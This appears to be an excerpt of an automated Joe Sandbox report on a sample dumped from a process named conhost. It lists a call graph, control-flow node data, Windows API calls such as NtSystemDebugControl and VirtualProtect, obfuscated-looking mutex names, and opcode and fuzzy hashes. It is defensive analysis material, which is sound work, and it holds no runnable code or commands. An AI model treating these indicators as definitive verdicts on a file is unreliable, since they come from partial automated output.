                                                                          callgraph 0 Function_0000000140001AE4 31 Function_0000000140001D40 0->31 75 Function_0000000140001BA0 0->75 1 Function_00000001400014E5 71 Function_0000000140001394 1->71 2 Function_00000001400010F0 3 Function_00000001400030F1 4 Function_00000001400057F1 5 Function_00000001400058F1 6 Function_00000001400014F4 6->71 7 Function_0000000140001800 67 Function_0000000140002290 7->67 8 Function_0000000140001E00 9 Function_0000000140005D00 34 Function_0000000140005A40 9->34 10 Function_0000000140002F00 58 Function_0000000140001370 10->58 11 Function_0000000140001000 11->8 40 Function_0000000140001750 11->40 80 Function_0000000140001FB0 11->80 87 Function_0000000140001FC0 11->87 12 Function_0000000140002500 13 Function_0000000140001503 13->71 14 Function_0000000140001404 14->71 15 Function_0000000140002104 16 Function_0000000140001E10 17 Function_0000000140003110 18 Function_0000000140005711 19 Function_0000000140005811 20 Function_0000000140001512 20->71 21 Function_0000000140002420 22 Function_0000000140002320 23 Function_0000000140005A20 24 Function_0000000140001521 24->71 25 Function_0000000140001422 25->71 26 Function_0000000140001530 26->71 27 Function_0000000140003130 28 Function_0000000140001431 28->71 29 Function_0000000140005831 30 Function_000000014000153F 30->71 31->67 32 Function_0000000140001440 32->71 33 Function_0000000140001140 48 Function_0000000140001160 33->48 35 Function_0000000140005741 36 Function_0000000140001F47 59 Function_0000000140001870 36->59 37 Function_0000000140002050 38 Function_0000000140005A50 38->34 39 Function_0000000140003150 39->10 39->13 39->24 39->25 39->26 39->28 39->30 39->32 39->34 45 Function_000000014000145E 39->45 47 Function_0000000140002660 39->47 54 Function_000000014000156C 39->54 55 Function_000000014000146D 39->55 39->58 61 Function_000000014000157B 39->61 77 Function_00000001400015A8 39->77 78 Function_00000001400014A9 39->78 86 Function_00000001400016C0 39->86 97 Function_00000001400014D6 39->97 98 Function_00000001400026E0 39->98 41 Function_0000000140001650 42 Function_0000000140005851 43 Function_0000000140003051 44 Function_000000014000155D 44->71 45->71 46 Function_0000000140002460 48->39 48->48 48->59 62 Function_0000000140001880 48->62 66 Function_0000000140001F90 48->66 48->86 49 Function_0000000140001760 99 Function_00000001400020E0 49->99 50 Function_0000000140005860 51 Function_0000000140005761 52 Function_0000000140005961 53 Function_0000000140001E65 53->59 54->71 55->71 56 Function_000000014000216F 57 Function_0000000140001A70 57->31 57->75 60 Function_0000000140003070 61->71 62->21 62->31 62->47 62->75 63 Function_0000000140005781 64 Function_0000000140005881 65 Function_0000000140005981 68 Function_0000000140002590 69 Function_0000000140003090 70 Function_0000000140002691 71->9 71->38 72 Function_0000000140002194 72->59 73 Function_000000014000219E 74 Function_0000000140001FA0 75->31 79 Function_00000001400023B0 75->79 92 Function_00000001400024D0 75->92 76 Function_00000001400057A1 77->71 78->71 81 Function_00000001400022B0 82 Function_00000001400026B0 83 Function_00000001400030B1 84 Function_00000001400058B1 85 Function_0000000140001AB3 85->31 85->75 88 Function_00000001400059C1 89 Function_0000000140001AC3 89->31 89->75 90 Function_00000001400014C7 90->71 91 Function_0000000140001FD0 93 Function_00000001400017D0 94 Function_00000001400026D0 95 Function_00000001400057D1 96 Function_0000000140001AD4 96->31 96->75 97->71 98->1 98->6 98->13 98->20 98->34 98->44 98->45 98->47 98->58 98->78 98->90 100 Function_00000001400017E0 100->99 101 Function_00000001400022E0

                                                                          Executed Functions

                                                                          Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          • NtSystemDebugControl.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7
                                                                          Memory Dump Source
                                                                          • Source File: 00000024.00000002.3767703884.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                          • Associated: 00000024.00000002.3767662547.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767741683.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767758472.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767781371.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                                          Similarity
                                                                          • API ID: ControlDebugSystem
                                                                          • String ID:
                                                                          • API String ID: 3993423751-0
                                                                          • Opcode ID: 2826bf933b6c05314846991301916adf57e49d07940debb5eab16ace37e77d14
                                                                          • Instruction ID: 35ac0efe93fe85c119e55826d4317f241f31154ff2ae5808118bfd6961f8b30b
                                                                          • Opcode Fuzzy Hash: 2826bf933b6c05314846991301916adf57e49d07940debb5eab16ace37e77d14
                                                                          • Instruction Fuzzy Hash: B5F09DB2608B408AEA12DB52F89579A77A0F38D7C0F00991ABBC843735DB38C190CB40

                                                                          Non-executed Functions

                                                                          Function 00000001400026E0 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 376COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 311 1400026e0-14000273b call 140002660 315 140002741-14000274b 311->315 316 14000280e-14000285e call 14000155d 311->316 318 140002774-14000277a 315->318 321 140002953-14000297b call 1400014c7 316->321 322 140002864-140002873 316->322 318->316 320 140002780-140002787 318->320 323 140002789-140002792 320->323 324 140002750-140002752 320->324 338 140002986-1400029c8 call 140001503 call 140005a40 321->338 339 14000297d 321->339 325 140002eb7-140002ef4 call 140001370 322->325 326 140002879-140002888 322->326 329 140002794-1400027ab 323->329 330 1400027f8-1400027fb 323->330 327 14000275a-14000276e 324->327 331 1400028e4-14000294e wcsncmp call 1400014e5 326->331 332 14000288a-1400028dd 326->332 327->316 327->318 335 1400027f5 329->335 336 1400027ad-1400027c2 329->336 330->327 331->321 332->331 335->330 340 1400027d0-1400027d7 336->340 349 140002e49-140002e84 call 140001370 338->349 350 1400029ce-1400029d5 338->350 339->338 342 1400027d9-1400027f3 340->342 343 140002800-140002809 340->343 342->335 342->340 343->327 353 1400029d7-140002a0c 349->353 357 140002e8a 349->357 352 140002a13-140002a43 wcscpy wcscat wcslen 350->352 350->353 355 140002a45-140002a76 wcslen 352->355 356 140002a78-140002aa5 352->356 353->352 358 140002aa8-140002abf wcslen 355->358 356->358 357->352 359 140002ac5-140002ad8 358->359 360 140002e8f-140002eab call 140001370 358->360 362 140002af5-140002dfb wcslen call 1400014a9 * 2 call 1400014f4 call 1400014c7 * 2 call 14000145e * 3 359->362 363 140002ada-140002aee 359->363 360->325 381 140002dfd-140002e1b call 140001512 362->381 382 140002e20-140002e48 call 14000145e 362->382 363->362 381->382
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000024.00000002.3767703884.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                          • Associated: 00000024.00000002.3767662547.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767741683.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767758472.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767781371.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                                          Similarity
                                                                          • API ID: wcslen$wcscatwcscpywcsncmp
                                                                          • String ID: 0$X$\BaseNamedObjects\shnwdcgqtuyerlisltrqlgki$`
                                                                          • API String ID: 597572034-3631170823
                                                                          • Opcode ID: 278b3ccabab9d185c5523312a0acfbf47a2a2c8557b6a85fb8f59c528ec133f9
                                                                          • Instruction ID: 5644a64d00b036ec4bbe55546a7e31bb03a4515055df867d72e05249cbbb3b8b
                                                                          • Opcode Fuzzy Hash: 278b3ccabab9d185c5523312a0acfbf47a2a2c8557b6a85fb8f59c528ec133f9
                                                                          • Instruction Fuzzy Hash: 651248B2608BC081E762CB16F8443EAB7A4F789794F414215EBA957BF5EF78C189C700
                                                                          Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130sleepstringCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000024.00000002.3767703884.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                          • Associated: 00000024.00000002.3767662547.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767741683.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767758472.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767781371.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                                          Similarity
                                                                          • API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                                                          • String ID:
                                                                          • API String ID: 2643109117-0
                                                                          • Opcode ID: 00ac1c66197ebc50227b88a6223cca9505f05baf94f6ca9dba6275d7e8e9b764
                                                                          • Instruction ID: 853b5cb4b810d97d978816ea4420ec313e3627c3af1e5f4ec8bc55cd55e56463
                                                                          • Opcode Fuzzy Hash: 00ac1c66197ebc50227b88a6223cca9505f05baf94f6ca9dba6275d7e8e9b764
                                                                          • Instruction Fuzzy Hash: 2D5114B1611A4085FB16EF27F9947EA27A5BB8D7D0F849121FB4D873B6DE38C4958300
                                                                          Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106memoryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 427 140001ba0-140001bc0 428 140001bc2-140001bd7 427->428 429 140001c09 427->429 431 140001be9-140001bf1 428->431 430 140001c0c-140001c17 call 1400023b0 429->430 437 140001cf4-140001cfe call 140001d40 430->437 438 140001c1d-140001c6c call 1400024d0 VirtualQuery 430->438 433 140001bf3-140001c02 431->433 434 140001be0-140001be7 431->434 433->434 436 140001c04 433->436 434->430 434->431 439 140001cd7-140001cf3 memcpy 436->439 442 140001d03-140001d1e call 140001d40 437->442 438->442 445 140001c72-140001c79 438->445 446 140001d23-140001d38 GetLastError call 140001d40 442->446 447 140001c7b-140001c7e 445->447 448 140001c8e-140001c97 445->448 450 140001cd1 447->450 451 140001c80-140001c83 447->451 452 140001ca4-140001ccf VirtualProtect 448->452 453 140001c99-140001c9c 448->453 450->439 451->450 455 140001c85-140001c8a 451->455 452->446 452->450 453->450 456 140001c9e 453->456 455->450 457 140001c8c 455->457 456->452 457->456
                                                                          APIs
                                                                          • VirtualQuery.KERNEL32(?,?,?,?,0000000140007C14,0000000140007C14,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
                                                                          • VirtualProtect.KERNEL32(?,?,?,?,0000000140007C14,0000000140007C14,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
                                                                          • memcpy.MSVCRT ref: 0000000140001CE0
                                                                          • GetLastError.KERNEL32(?,?,?,?,0000000140007C14,0000000140007C14,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000024.00000002.3767703884.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                          • Associated: 00000024.00000002.3767662547.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767741683.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767758472.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767781371.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                                          Similarity
                                                                          • API ID: Virtual$ErrorLastProtectQuerymemcpy
                                                                          • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
                                                                          • API String ID: 2595394609-2123141913
                                                                          • Opcode ID: d18d1f09fdfba77917c7540234edc89a1ae34ad00b66a5eb73fbe7bf19acb5c3
                                                                          • Instruction ID: ec64a22a3afb06751a644bfa6223830d5787557f53419172101f724c34e2370a
                                                                          • Opcode Fuzzy Hash: d18d1f09fdfba77917c7540234edc89a1ae34ad00b66a5eb73fbe7bf19acb5c3
                                                                          • Instruction Fuzzy Hash: FB4143F1601A4586FA26DF47F884BE927A0E78DBC4F554126EF0E877B1DA38C586C700
                                                                          Function 0000000140005A50 Relevance: 12.2, APIs: 1, Strings: 7, Instructions: 185COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 458 140005a50-140005a6c 459 140005a9b-140005abf call 140005a40 458->459 460 140005a6e 458->460 465 140005ce6-140005cf8 459->465 467 140005ac5-140005ad9 call 140005a40 459->467 461 140005a75-140005a7a 460->461 463 140005a80-140005a83 461->463 463->465 466 140005a89-140005a8f 463->466 466->463 468 140005a91-140005a96 466->468 471 140005aef-140005b01 467->471 468->465 472 140005ae3-140005aed 471->472 473 140005b03-140005b1d call 140005a40 471->473 472->471 475 140005b45-140005b48 472->475 478 140005b1f-140005b41 call 140005a40 * 2 473->478 479 140005ae0 473->479 475->465 477 140005b4e-140005b7a call 140005a40 malloc 475->477 484 140005cdc 477->484 485 140005b80-140005b82 477->485 478->472 491 140005b43 478->491 479->472 484->465 485->484 487 140005b88-140005bb8 call 140005a40 * 2 485->487 494 140005bc0-140005bd7 487->494 491->477 495 140005cb3-140005cbb 494->495 496 140005bdd-140005be3 494->496 499 140005cc6-140005cd4 495->499 500 140005cbd-140005cc0 495->500 497 140005c32 496->497 498 140005be5-140005c03 call 140005a40 496->498 503 140005c37-140005c79 call 140005a40 * 2 497->503 506 140005c10-140005c2e 498->506 499->461 502 140005cda 499->502 500->494 500->499 502->465 511 140005ca8-140005caf 503->511 512 140005c7b 503->512 506->506 508 140005c30 506->508 508->503 511->495 513 140005c80-140005c8c 512->513 514 140005ca3 513->514 515 140005c8e-140005ca1 513->515 514->511 515->513 515->514
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000024.00000002.3767703884.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                          • Associated: 00000024.00000002.3767662547.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767741683.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767758472.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767781371.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                                          Similarity
                                                                          • API ID: malloc
                                                                          • String ID: 5)Z$:)Z$R)Z$V)Z$Z)Z$\BaseNamedObjects\rwmrhecucaaglyg$r)Z
                                                                          • API String ID: 2803490479-1500894354
                                                                          • Opcode ID: 8616528847097a9bd3bb17bc39bc443c533355a3e6581921f14f32cd90d131b7
                                                                          • Instruction ID: 5b9bb237a154f2e35a3cc7b92608507a9979f7cb4584b8bc2b266c44540cfe62
                                                                          • Opcode Fuzzy Hash: 8616528847097a9bd3bb17bc39bc443c533355a3e6581921f14f32cd90d131b7
                                                                          • Instruction Fuzzy Hash: 0671DFB2B116008BEB66EF26B445BBB3794F78EBC9F444214FF0A477A5DA34D8409B41
                                                                          Function 0000000140002104 Relevance: 7.6, APIs: 5, Instructions: 51COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 548 140002104-14000210b 549 140002111-140002128 EnterCriticalSection 548->549 550 140002218-140002221 548->550 551 14000220b-140002212 LeaveCriticalSection 549->551 552 14000212e-14000213c 549->552 553 140002272-140002280 550->553 554 140002223-14000222d 550->554 551->550 555 14000214d-140002159 TlsGetValue GetLastError 552->555 556 140002241-140002263 DeleteCriticalSection 554->556 557 14000222f 554->557 558 14000215b-14000215e 555->558 559 140002140-140002147 555->559 556->553 560 140002230-14000223f 557->560 558->559 561 140002160-14000216d 558->561 559->551 559->555 560->556 561->559
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000024.00000002.3767703884.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                          • Associated: 00000024.00000002.3767662547.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767741683.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767758472.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767781371.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                                          Similarity
                                                                          • API ID: CriticalSection$DeleteEnterErrorLastLeaveValue
                                                                          • String ID:
                                                                          • API String ID: 926137887-0
                                                                          • Opcode ID: 27e192ecc5d799857d1c8385dbaaf5a6f836238ff6c117ed4402dc7d43894369
                                                                          • Instruction ID: 697f876828b5171767c564f6bb86c971c65e3a042cbe6cf173943f1c4610416a
                                                                          • Opcode Fuzzy Hash: 27e192ecc5d799857d1c8385dbaaf5a6f836238ff6c117ed4402dc7d43894369
                                                                          • Instruction Fuzzy Hash: D521E0B1715A0292FA5BEB53F9583E923A0B76CBD0F444021FB1E576B4DB7A8986C300
                                                                          Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 564 140001e10-140001e2d 565 140001e3e-140001e48 564->565 566 140001e2f-140001e38 564->566 568 140001ea3-140001ea8 565->568 569 140001e4a-140001e53 565->569 566->565 567 140001f60-140001f69 566->567 568->567 572 140001eae-140001eb3 568->572 570 140001e55-140001e60 569->570 571 140001ecc-140001ed1 569->571 570->568 575 140001f23-140001f2d 571->575 576 140001ed3-140001ee2 signal 571->576 573 140001eb5-140001eba 572->573 574 140001efb-140001f0a call 140005ff0 572->574 573->567 580 140001ec0 573->580 574->575 585 140001f0c-140001f10 574->585 578 140001f43-140001f45 575->578 579 140001f2f-140001f3f 575->579 576->575 581 140001ee4-140001ee8 576->581 578->567 579->578 580->575 582 140001eea-140001ef9 signal 581->582 583 140001f4e-140001f53 581->583 582->567 586 140001f5a 583->586 587 140001f12-140001f21 signal 585->587 588 140001f55 585->588 586->567 587->567 588->586
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000024.00000002.3767703884.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                          • Associated: 00000024.00000002.3767662547.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767741683.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767758472.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767781371.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: CCG
                                                                          • API String ID: 0-1584390748
                                                                          • Opcode ID: 112abc6df4a3a955ea7a6242a2a3ec18b1e193b9e50968186ba58eaa7180ca05
                                                                          • Instruction ID: 838ee2c544bf2803730cc930bbb0f4a86f91135578be0a2b6e08d954fec56f6a
                                                                          • Opcode Fuzzy Hash: 112abc6df4a3a955ea7a6242a2a3ec18b1e193b9e50968186ba58eaa7180ca05
                                                                          • Instruction Fuzzy Hash: A72159B1A0110642FA77DA1BB5943FA1182ABCD7E4F258535BF1A473F9DE3C88828241
                                                                          Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138memoryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 589 140001880-14000189c 590 1400018a2-1400018f9 call 140002420 call 140002660 589->590 591 140001a0f-140001a1f 589->591 590->591 596 1400018ff-140001910 590->596 597 140001912-14000191c 596->597 598 14000193e-140001941 596->598 599 14000194d-140001954 597->599 600 14000191e-140001929 597->600 598->599 601 140001943-140001947 598->601 604 140001956-140001961 599->604 605 14000199e-1400019a6 599->605 600->599 602 14000192b-14000193a 600->602 601->599 603 140001a20-140001a26 601->603 602->598 606 140001b87-140001b98 call 140001d40 603->606 607 140001a2c-140001a37 603->607 608 140001970-14000199c call 140001ba0 604->608 605->591 609 1400019a8-1400019c1 605->609 607->605 610 140001a3d-140001a5f 607->610 608->605 613 1400019df-1400019e7 609->613 616 140001a7d-140001a97 610->616 614 1400019e9-140001a0d VirtualProtect 613->614 615 1400019d0-1400019dd 613->615 614->615 615->591 615->613 619 140001b74-140001b82 call 140001d40 616->619 620 140001a9d-140001afa 616->620 619->606 626 140001b22-140001b26 620->626 627 140001afc-140001b0e 620->627 630 140001b2c-140001b30 626->630 631 140001a70-140001a77 626->631 628 140001b5c-140001b6c 627->628 629 140001b10-140001b20 627->629 628->619 633 140001b6f call 140001d40 628->633 629->626 629->628 630->631 632 140001b36-140001b57 call 140001ba0 630->632 631->605 631->616 632->628 633->619
                                                                          APIs
                                                                          • VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000024.00000002.3767703884.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                          • Associated: 00000024.00000002.3767662547.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767741683.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767758472.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767781371.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                                          Similarity
                                                                          • API ID: ProtectVirtual
                                                                          • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
                                                                          • API String ID: 544645111-395989641
                                                                          • Opcode ID: a6faf70e8b190511a78e30de1eab31b3fdd89b936d163022cdfacdbb5805c305
                                                                          • Instruction ID: bed1886f8e7b3562c786f91e2c2504e2a336d35a61311b426e06807153cec951
                                                                          • Opcode Fuzzy Hash: a6faf70e8b190511a78e30de1eab31b3fdd89b936d163022cdfacdbb5805c305
                                                                          • Instruction Fuzzy Hash: 415114B6B11544DAEB12CF67F840BE827A1A759BE8F548212FB1D077B4DB38C986C700
                                                                          Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 637 140001800-140001810 638 140001812-140001822 637->638 639 140001824 637->639 640 14000182b-140001867 call 140002290 fprintf 638->640 639->640
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000024.00000002.3767703884.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                          • Associated: 00000024.00000002.3767662547.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767741683.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767758472.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767781371.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                                          Similarity
                                                                          • API ID: fprintf
                                                                          • String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                          • API String ID: 383729395-3474627141
                                                                          • Opcode ID: 577444ae89d5f5a6c95c3a2f675773f7031f896e683781332b98d4dce8e5709a
                                                                          • Instruction ID: a02188ec0087b42d3f25a0ad686d1475033a3de64a4a15f6bec79cad075d9a0b
                                                                          • Opcode Fuzzy Hash: 577444ae89d5f5a6c95c3a2f675773f7031f896e683781332b98d4dce8e5709a
                                                                          • Instruction Fuzzy Hash: 1DF09671A14A4482E612EF6AB9417ED6360E75D7C1F50D211FF4D576A5DF3CD182C310
                                                                          Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 643 14000219e-1400021a5 644 140002272-140002280 643->644 645 1400021ab-1400021c2 EnterCriticalSection 643->645 646 140002265-14000226c LeaveCriticalSection 645->646 647 1400021c8-1400021d6 645->647 646->644 648 1400021e9-1400021f5 TlsGetValue GetLastError 647->648 649 1400021f7-1400021fa 648->649 650 1400021e0-1400021e7 648->650 649->650 651 1400021fc-140002209 649->651 650->646 650->648 651->650
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000024.00000002.3767703884.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                          • Associated: 00000024.00000002.3767662547.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767741683.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767758472.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                          • Associated: 00000024.00000002.3767781371.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_36_2_140000000_conhost.jbxd
                                                                          Similarity
                                                                          • API ID: CriticalSection$EnterErrorLastLeaveValue
                                                                          • String ID:
                                                                          • API String ID: 682475483-0
                                                                          • Opcode ID: ef714723185b3a8d2aed80037f9450dbdc245cd35eb766ee46406a0163f8cc51
                                                                          • Instruction ID: 8e08899b71d5d6c295770fc95a4fa8b22c720a8a39741bac27afb53efd3d8dea
                                                                          • Opcode Fuzzy Hash: ef714723185b3a8d2aed80037f9450dbdc245cd35eb766ee46406a0163f8cc51
                                                                          • Instruction Fuzzy Hash: C201B2B5705A0192FA5BDB53FE083E86360B76CBD1F454061EF0957AB4DF79C996C200